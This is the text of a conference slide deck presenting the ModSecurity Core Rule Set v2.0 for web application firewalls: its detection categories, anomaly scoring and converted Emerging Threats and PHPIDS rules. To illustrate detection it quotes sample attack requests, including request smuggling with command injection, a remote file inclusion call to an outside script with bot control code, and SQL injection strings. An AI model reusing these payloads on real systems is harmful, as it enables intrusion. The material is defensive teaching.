1. The OWASP Foundation http://www.owasp.org/ AppSec DC Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. ModSecurity Core Rule Set (CRS) v2.0 Ryan Barnett OWASP Project Leader Director of Application Security Research, Breach Security ryan.barnett@breach.com

2. About The Speaker  Community Participation:  OWASP ModSecurity Core Rule Set Project Leader  Web Application Security Consortium (WASC) Board Member  WASC Distributed Open Proxy Honeypot Project Leader  Day Job:  Director of Application Security Research, Breach Security  In charge of security research through Breach Security Labs, development of ModSecurity rules and signatures.

3. What are we going to talk about  ModSecurity Quick Overview  The Core Rule Set (CRS) Overview  Basic Detection Categories  CRS v2.0 Improvements  Facilitating Community Collaboration  Call for Community Help 3

4. What is ModSecurity?  It is an open source web application firewall (WAF) module for Apache web servers  www.modsecurity.org  Separate Rule and Audit Engines  Allows full request/response HTTP logging capability  Deep understanding of HTTP and HTML  Robust Parsing (form encoding, multipart and XML)  Anti Evasion Features (normalization functions)  Supports Complex Rules Language  Advanced Capabilities  Transactional and Persistent Collections  Content Injection  Lua API

5. ModSecurity’s Apache Request Cycle Hooks

6. ModSecurity’s Rules Language

7. ModSecurity’s Rules Language Syntax Tells ModSecurity where to look (such as ARGS, ARGS_NAMES or COOKIES). Tells ModSecurity how to process data (such @rx, @pm or @gt). Tells ModSecurity what to do if a rule matches (such as deny, exec or setvar).

8. The OWASP Foundation, http://www.owasp.org/ The ModSecurity Core Rule Set (CRS) Ryan Barnett ryan.barnett@breach.com AppSec DC CRS v2.0 Overview

9. What is the Core Rule Set (CRS)?  A generic, plug-n-play set of WAF rules  Detection Mechanisms:  Protocol Validation  Malicious Client Identification  Generic Attack Signatures  Known Vulnerabilities Signatures  Trojan/Backdoor Access  Outbound Data Leakage  Anti-Virus and DoS utility scripts  OWASP Project Homepage  http://www.owasp.org/index.php/Category:OWASP_ModSec urity_Core_Rule_Set_Project

10. Who uses the CRS?  WASC Distributed Open Proxy Honeypot Project  “Use one of the web attacker's most trusted tools against him - the Open Proxy server. Instead of being the target of the attacks, we opt to be used as a conduit of the attack data in order to gather our intelligence” http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots

11. Who uses the CRS?  Akamai WAF-in-the-Cloud Service  Converted CRS in Akamai Edge Servers  Launched in November 2009 Origin Server Akamai EdgePlatform with WAF Attacker

12. The OWASP Foundation, http://www.owasp.org/ The ModSecurity Core Rule Set (CRS) Ryan Barnett ryan.barnett@breach.com AppSec DC Example Detection Categories

13. Detection Mechanisms: Protocol Violations  Protocol vulnerabilities such as Response Splitting, Request Smuggling, Premature URL ending  Content length only for non GET/HEAD methods  Non ASCII characters or encoding in headers  Valid use of headers (for example, content length is numerical)  Proxy Access  modsecurity_crs_20_protocol_violations.conf  Attack requests are different due to automation  Missing headers such as Host, Accept, User-Agent  Host is an IP address (common worm propagation method)  modsecurity_crs_21_protocol_anomalies.conf

14. HTTP Request Smuggling Example  Goal: IDS/IPS will only see one POST request to /foobar.html POST http://SITE/foobar.html HTTP/1.1... Content-Length: 0 Content-Length: 44 GET /cgi-bin/foo.php?cmd=`id` HTTP/1.1 Host: SITE IDS/IPS: 1. /foobar.html Server: 1./foobar.html 2./foo.php

15. CRS ID 950012 – Request Smuggling Attack POST /SITE/foobar.html HTTP/1.1 Host: www.badstore.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Content-Length: 0, 44 # HTTP Request Smuggling SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' "," "phase:2,t:none,block,nolog,auditlog,status:400,msg:'HTTP Request Smuggling Attack.',id:'950012',tag:'WEB_ATTACK/REQUEST_SMUGGLING', severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+ 20,setvar:tx.web_attack_score=+1,setvar:tx.%{rule.id}- WEB_ATTACK/REQUEST_SMUGGLING-%{matched_var_name}=%{matched_var}" Apache collapses duplicate Request headers and separates the payloads with commas – this payload means there were two Content-Length headers Request Smuggling rule looks for a comma in the appropriate Request header payloads

16. Detection Mechanisms: Protocol Policies  Policy is usually application specific  Some restrictions can usually be applied generically  White lists can be build for specific environments  Limitations on Sizes  Request size, Upload size  # of parameters, length of parameter  modsecurity_crs_23_request_limits.conf  Items that can be allowed or restricted  Methods - Allow or restrict WebDAV, block abused methods such as CONNECT, TRACE or DEBUG  File extensions – backup files, database files, ini files  Content-Types (and to some extent other headers)  Modsecurity_crs_30_http_policy.conf

17. CRS ID 960012 – Request Method Not Allowed SecRule REQUEST_METHOD "!^((?:(?:POS|GE)T|OPTIONS|HEAD))$" "phase:2,t:none,block,nolog,auditlog, status:501,msg:'Method is not allowed by policy', severity:'2',id:'960032',tag:'POLICY/ METHOD_NOT_ALLOWED',setvar:tx.anomaly _score=+5,setvar:tx.policy_score=+1,s etvar:tx.%{rule.id}- POLICY/METHOD_NOT_ALLOWED- %{matched_var_name}=%{matched_var}" PUT /tr.htm HTTP/1.0 Accept-Language: pt-br, en-us;q=0.5 Translate: f Content-Length: 67 Date: Thu, 5 Nov 2009 04:26:22 GMT Connection: Keep -Alive User-Agent: Microsoft Data Access Internet Publishing Provider DAV 1.1 Host: www.example.com Command Tribulation was here - www.commandt.org - Jesus Loves you

18. Detection Mechanisms: Malicious Clients  Not aimed against targeted attacks, but against general malicious internet activity  Offloads a lot of cyberspace junk & noise  Effective against comment spam  Reduce event count  Detection of Malicious Robots  Unique request attributes: User-Agent header, URL, Headers  Black list of IP addresses  Rate based detection  Detection of security scanners  Blocking can confuse security testing software (WAFW00f)  modsecurity_crs_35_bad_robots.conf

19. Comment SPAM – RBL Lookups SecRule &IP:SPAMMER "@eq 0" "chain,phase:1,t:none,block,nolog,auditlog,msg:' RBL Match for SPAM Source',tag:'AUTOMATION/MALICIOUS',severity:'2', skipAfter:END_RBL_CHECK" SecRule REMOTE_ADDR "@rbl sbl-xbl.spamhaus.org" "t:none,setvar:'tx.msg=%{rule.msg}',setvar:tx.au tomation_score=+1,setvar:tx.anomaly_score=+20,se tvar:'tx.%{rule.id}=%{matched_var_name}=%{matche d_var}',setvar:ip.spammer=1,expirevar:ip.spammer =86400“

20. Detection Mechanisms: App Layer Attacks  Detect application level attacks such as those described in the OWASP top 10  SQL injection and blind SQL injection  Cross site scripting (XSS)  OS command injection and remote command access  Remote file inclusion  modsecurity_crs_40_generic_attacks.conf  modsecurity_crs_41_sql_injection_attacks.conf  modsecurity_crs_41_xss_attacks.conf

21. Remote File Inclusion (RFI) Example GET /XXXXXXXX.php?ADODB_DIR=http://www.filmbox.ru/d.pl? HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: XXXXXXXXXXX User-Agent: libwww-perl/5.805 switch(substr($mcmd[0],1)) { case "restart": case "mail": //mail to from subject message case "dns": case "info": case "cmd": case "rndnick": case "php": case "exec": break; case "pscan": //.pscan 127.0.0.1 6667 case "ud.server": //.udserver case "download": case "die": case "udpflood": case "udpflood1": case "tcpflood": case "massmail": Attack Methods Control Methods SecRule ARGS "^(?:ht|f)tps?:\/\/([\d\.]+)" \ SecRule ARGS "(?:\binclude\s*\([^)]*(ht|f)tps?:\/\/)" \ SecRule ARGS "(?:ft|htt)ps?.*\?+$" \ SecRule ARGS "^(?:ht|f)tps?://(.*)\?$" \ "chain, SecRule TX:1 "!@beginsWith %{request_headers.host}” IP address in hostname Known vulnerable parameter One or more question marks at the end Domain mis- match

22. Detection Mechanisms: Trojans/Backdoors  Major problem in hosting environments  Uploading is allowed  Some sites may be secure while others not  Upload detection  Check uploading of files containing viruses (i.e. WORD docs)  util/modsec-clamscan.pl  Check uploading of http backdoor page  Access detection  Known signatures (x_key header)  Generic file management output (gid, uid, drwx, c:\)  modsecurity_crs_45_trojans.conf

23. CRS ID 950922 – Trojan File Access SecRule RESPONSE_BODY "(?: [^ |drwxr))" \ "phase:4,t:none,ctl:auditLogParts=+E,block,nolog,auditlog,s tatus:404,msg:'Backdoor access',id:'950922',tag:'MALICIOUS_SOFTWARE/TROJAN',severit y:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.trojan_score=+1,setvar:tx.anomaly_score=+20,setvar:tx.%{rule.id}- MALICIOUS_SOFTWARE/TROJAN- %{matched_var_name}=%{matched_var}"

24. Detection Mechanisms: Information Leakage  Monitoring outbound application data  HTTP Error Response Status Codes  SQL Information Leakage  Stack Dumps  Source Code Leakage  Last line of defense if all else fails  Provide feedback to application developers  Important for customer experience  Makes life for the hacker harder (if blocking is used)  modsecurity_crs_50_outbound.conf

25. CRS ID 971094 – SQL Information Leakage SecRule RESPONSE_BODY "\bYou have an error in your SQL syntax near \'" \ "phase:4,t:none,ctl:auditLogParts=+E,block,nolog,auditlog,s tatus:500,msg:'SQL Information Leakage',id:'971094',tag:'LEAKAGE/ERRORS',severity:'3',setv ar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+15,setvar: tx.%{rule.id}-LEAKAGE/ERRORS- %{matched_var_name}=%{matched_var}"

26. The OWASP Foundation, http://www.owasp.org/ The ModSecurity Core Rule Set (CRS) Ryan Barnett ryan.barnett@breach.com AppSec DC CRS v2.0 Improvements

27. CRS V2.0 Improvements  Rules and Alert Management  Collaborative Rules/Anomaly Scoring  Conditional Rules (Weak Signatures)  Inbound+Outbound Correlation  Updated Severity Ratings  Increased Security Coverage  XSS Improvements  Converted Emerging Threats Web Attack Signatures  Converted PHPIDS Filters  Facilitate Community Collaboration  CRS Smoketest/Demo Page  JIRA Bug Tracking

28. The OWASP Foundation, http://www.owasp.org/ The ModSecurity Core Rule Set (CRS) Ryan Barnett ryan.barnett@breach.com AppSec DC Rules and Alert Management

29. CRS <2.0 – Self Contained Rules Concept  Older (<2.0) CRS used individual, “self-contained” actions in rules  If a rule triggered, it would either deny or pass and log  No intelligence was shared between rules  Not optimal from a rules management perspective (handling false positives/exceptions)  Editing the regex could blow it up  Heavily customized rules were less likely to be updated by the user  Not optimal from a security perspective  Not every site had the same risk tolerance  Lower severity alerts were largely ignored

30. CRS 2.0 - Collaborative Rules/Anomaly Scoring  Rules logic has changed by decoupling the inspection/detection from the blocking functionality  Rules set transactional variables (tx) to store meta-data about the rule match  Rules also increase anomaly scores for both the attack category and global score  These rules are considered basic or reference events  They do not generate an event in the Apache error_log on their own by default  The anomaly score check/enforcement rules will decided whether or not to deny/log events  modsecurity_crs_49_enforcement.conf

31. CRS 2.0 - Collaborative Rules/Anomaly Scoring # # HTTP Parameter Pollution # SecRule ARGS_NAMES ".*" \ "chain,phase:2,t:none,nolog,auditlog,pass,capture,id:'950012'setvar:'tx.a rg_name_%{tx.0}=+1',msg:'Possible HTTP Parameter Pollution Attack: Multiple Parameters with the same Name.'" SecRule TX:/ARG_NAME_*/ "@gt 1" "t:none,setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+20,setvar:tx.web_attack_score=+1,setvar:tx.%{rule.id}-WEB_ATTACK/COMMAND_INJECTION- %{matched_var_name}=%{matched_var}"  Example HTTP Parameter Pollution (HPP) attack  /index.aspx?page=select 1&page=2,3 from table where id=1

32. CRS 2.0 – Debug Log View

33. CRS 2.0 – Inspecting Anomaly Scores # Alert on SQL Injection anomalies # #SecRule TX:SQLI_SCORE "@gt 0" \ # "phase:2,t:none,log,deny,msg:'SQL Injection Detected (score %{TX.SQLI_SCORE}): %{tx.msg}'" # Alert and Deny on High Anomaly Scores # SecRule TX:ANOMALY_SCORE "@ge 20" \ "phase:2,t:none,nolog,auditlog,deny,msg:'Anomaly Score Exceeded (score %{TX.ANOMALY_SCORE}): %{tx.msg}',setvar:tx.inbound_tx_msg=%{tx.msg}"

34. CRS 2.0 – Conditional Rules (Weak Sigs)  SQL Injection Example  Aggregate indicators to determine an attack  Strong indicators  Keywords such as: xp_cmdshell, varchar,  Sequences such as: union …. select, select … top … 1  Amount: script, cookie and document appear in the same input field  Weak indicators – meta-characters  --, ;, ', …  CRS only applies weak signatures in the event a stronger signature has previously triggered

35. CRS 2.0 – Conditional Rule Example

36. CRS 2.0 – Inbound/Outbound Correlation  Concept is to do post processing of the transactional data (in the logging phase) for event creation  modsecurity_crs_60_correlation.conf  Couple the inbound with the outbound for increased intelligence  Was there an inbound attack?  Was there an HTTP Status Code Error (4xx/5xx level)?  Was there an application information leak?  Correlation facilitates better incident response  App error without inbound attack -> Contact Ops  Inbound attack + outbound error -> Contact Security

37. CRS 2.0 – Updated Severity Ratings  Correlated Events  0: Emergency - is generated from correlation (inbound attack + outbound leakage)  1: Alert - is generated from correlation (inbound attack + outbound application level error)  Non-Correlated Events  2: Critical - highest severity level possible without correlation. It is normally generated by the web attack rules (40 level files)  3: Error - is generated from outbound leakage rules (50 level files)  4: Warning - is generated by malicious client rules (35 level files)  5: Notice - is generated by the Protocol policy and anomaly files  6: Info - is generated by the search engine clients (55 marketing file)

38. CRS 2.0 – Correlated Event Messages

39. The OWASP Foundation, http://www.owasp.org/ The ModSecurity Core Rule Set (CRS) Ryan Barnett ryan.barnett@breach.com AppSec DC Increased Security Coverage

40. CRS 2.0 – Updated XSS Coverage  Rules added that look for all event handlers from the WASC Script Mapping Project  http://projects.webappsec.org/Script-Mapping

41. CRS 2.0 – Converted Emerging Threats Rules  Breach Security Labs received authorization from ET to convert their Snort rules and include them in the CRS  http://www.emergingthreats.net/  Converted the following rule files  emerging-web_server.rules  emerging-web_specific_apps.rules  Identifying attacks against known vulnerabilities does have value  Raised threat level  If done correctly, lessens false positives  CRS combines the what of our generic attack payload detection with the where of ET known vuln data

42. CRS 2.0 – Converted Emerging Threats Rules alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID SELECT"; flow:established,to_server; uricontent:"/vehiclelistings.asp?"; nocase; uricontent:"vehicleID="; nocase; uricontent:"SELECT"; nocase; pcre:"/.+SELECT.+FROM/Ui"; classtype:web- application-attack; reference:cve,CVE-2006-6092; reference:url,www.securityfocus.com/bid/21154; reference:url,doc.emergingthreats.net/2007504; reference:url,www.emergingthreats.net/cgi- bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2020_Auto_ gallery; sid:2007504; rev:5;) Attack vector location – URI + Parameter PCRE – Weak signature

43. CRS 2.0 – Converted Emerging Threats Rule # (sid 2007508) ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID SecRule REQUEST_URI_RAW "(?i:\/vehiclelistings\.asp)" "chain,phase:2,block,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:norma lisePathWin,capture,ctl:auditLogParts=+E,nolog,auditlog,logdata:'%{TX.0}',id:sid2007508,rev:3,msg:'ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID ',tag:‘web- application-attack',tag:'url,www.emergingthreats.net/cgi- bin/cvsweb.cgi/sigs/WEB_SQL_INJECTION/WEB_2020_Auto_gallery'" SecRule &TX:'/SQL_INJECTION.*ARGS:vehicleID/' "@gt 0" "setvar:'tx.msg=ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID ',setvar:tx.sqli_score=+1,setvar:tx.anomaly_score=+20,setvar:tx.%{rul e.id}-SQL_INJECTION/SQL_INJECTION-%{matched_var_name}=%{matched_var}" Verify the URI of the request Verify the attack vector location from saved TX SQL Injection data exists

44. CRS 2.0 – Converted PHPIDS Filters  http://phpids.net/  ~70 regular expression rules to detect common attack payloads  XSS  SQL Injection  RFI  Filters are heavily tested by the community and updated frequently  Breach Security Labs received authorization from PHPIDS to convert their default_filters.xml rules and include them in the CRS  https://svn.php-ids.org/svn/trunk/lib/IDS/default_filter.xml  Thanks to Mario Heiderich

45. CRS 2.0 – PHPIDS Example Filter 1 )|(?:[^\w\s]\s*\/>)|(?:>")]]> finds html breaking injections including whitespace attacks xss csrf 4

46. CRS 2.0 – Converted PHPIDS Example Filter SecRule ARGS|ARGS_NAMES "(?:\"[^\"]*[^- ]?>)|(?:[^\w\s]\s*\/>)|(?:>\")" "phase:2,capture,multiMatch,t:none,t:urlDecodeUni,t:cssDecod e,t:jsDecode,t:htmlEntityDecode,t:replaceComments,t:compress WhiteSpace,t:lowercase,ctl:auditLogParts=+E,block,nolog,msg: 'finds html breaking injections including whitespace attacks',id:'phpids- 1',tag:'WEB_ATTACK/XSS',tag:'WEB_ATTACK/CSRF',logdata:'%{TX. 0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anoma ly_score=+4,setvar:tx.%{rule.id}-WEB_ATTACK/INJECTION- %{rule.severity}-%{rule.msg}- %{matched_var_name}=%{matched_var}" Normalization functions  Combats common evasions with multiMatch action  Normal process is to only apply the operator once after the transformation function chain  With multiMath, the operator is applied before/after any transformation function that changes data

47. CRS 2.0 – PHPIDS Conversion/Normalization  PHPIDS combats evasions by both converting and normalizing input data before applying their regular expressions  https://svn.php-ids.org/svn/trunk/lib/IDS/Converter.php  Handles evasion issues such as:  Comments  Newlines  Charcode  Normalize Quotes  Current CRS approach is to create rules to increase the anomaly score when these are encountered vs. attempting to normalize

48. CRS 2.0 – PHPIDS Centrifuge  Negative security approach to combating XSS and SQL Injection is doomed to fail…  Unlimited ways to write functionally equivalent code  Obfuscation methods, however often have certain characteristics  PHPIDS has an interesting approach to identify attack payloads through heuristics  Analysis of the use of special characters  Ratio between the count of the word characters, spaces, punctuation and the non word characters  If <3.50 = malicious  Normalization and stripping of any word character and spaces including line breaks, tabs and carriage returns  Regex check in default_filters.xml catches results

49. The OWASP Foundation, http://www.owasp.org/ The ModSecurity Core Rule Set (CRS) Ryan Barnett ryan.barnett@breach.com AppSec DC Facilitate Community Collaboration

50. CRS 2.0 – CRS Demo/Smoketest  ModSecurity/CRS finally has its own Demo/Smoketest page  http://www.modsecurity.org/demo/

51. CRS 2.0 – CRS/PHPIDS Demo/Smoketest  CRS demo page is actually a front-end for the PHPIDS smoketest page  http://demo.php-ids.org/  Request will go through CRS page first and then we proxy the request to the PHPIDS page  We then inspect the inbound with the outbound and provide results  CRS detected an attack  CRS did not find anything malicious but PHPIDS did  Neither CRS nor PHPIDS found anything malicious  A link is provided to report false negatives to our JIRA ticketing system  https://www.modsecurity.org/tracker/browse/CORERULES

52. CRS 2.0 – CRS Demo/Smoketest

53. The OWASP Foundation, http://www.owasp.org/ The ModSecurity Core Rule Set (CRS) Ryan Barnett ryan.barnett@breach.com AppSec DC Call for Community Help

54. CRS 2.0 – Call for Community Help  We have made great strides with CRS v2.0 but there is still much work to be done  Current OWASP Project Status is Alpha  Need some help to move it to Beta -> Release Quality  Need Project Reviewers  Test out the CRS demo page and report any issues found either to the mail-list or to JIRA  Cool project idea  Port the PHPIDS Converter.php code into Lua for use in ModSecurity  Please sign up on our project mail-list if you want to help  https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core- rule-set

55. The OWASP Foundation http://www.owasp.org/ AppSec DC Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. Thank You! Ryan Barnett ryan.barnett@breach.com